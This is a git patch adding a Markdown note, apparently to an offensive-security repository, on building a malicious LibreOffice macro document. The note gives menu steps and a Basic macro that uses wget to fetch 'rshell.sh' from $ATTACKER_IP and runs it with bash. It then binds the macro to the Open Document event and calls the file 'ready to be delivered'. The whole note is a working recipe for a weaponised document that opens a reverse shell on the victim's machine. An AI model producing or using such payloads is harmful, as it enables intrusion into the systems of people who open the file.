From 74e0c3e76a886c164c955ca0d8f79bbbb258d1d3 Mon Sep 17 00:00:00 2001
From: whackx <poisson_iv@web.de>
Date: Fri, 4 Aug 2023 22:42:09 +0200
Subject: [PATCH] added Macro exploit

---
 Exploits/Macros/Libre Office.md | 27 +++++++++++++++++++++++++++
 1 file changed, 27 insertions(+)
 create mode 100644 Exploits/Macros/Libre Office.md

diff --git a/Exploits/Macros/Libre Office.md b/Exploits/Macros/Libre Office.md
new file mode 100644
index 0000000..777422e
--- /dev/null
+++ b/Exploits/Macros/Libre Office.md	
@@ -0,0 +1,27 @@
+# Libre Office
+
+## Create Macros
+
+This is taken from [James Gallagher's James on Hacking](https://jamesonhacking.blogspot.com/2022/03/using-malicious-libreoffice-calc-macros.html) page.
+
+Go to the following menu options
+```sh
+Tools --> Macros --> Organize Macros --> Basic
+```
+
+In the windows that has opened, click on the name of the document you created and choose `New`.  
+Place your payload in the function, for example
+```sh
+Sub Main
+
+Shell("wget http://$ATTACKER_IP:8000/rshell.sh")
+Shell("chmod +x rshell.sh ; bash -c ./rshell.sh")
+
+End Sub
+```
+
+Close the `Organize Macros` windows and go to
+```
+Tools --> Macros --> Organize Macros --> Events --> Open Document
+```
+Choose the Macro created before and save the document. The file is ready to be delivered.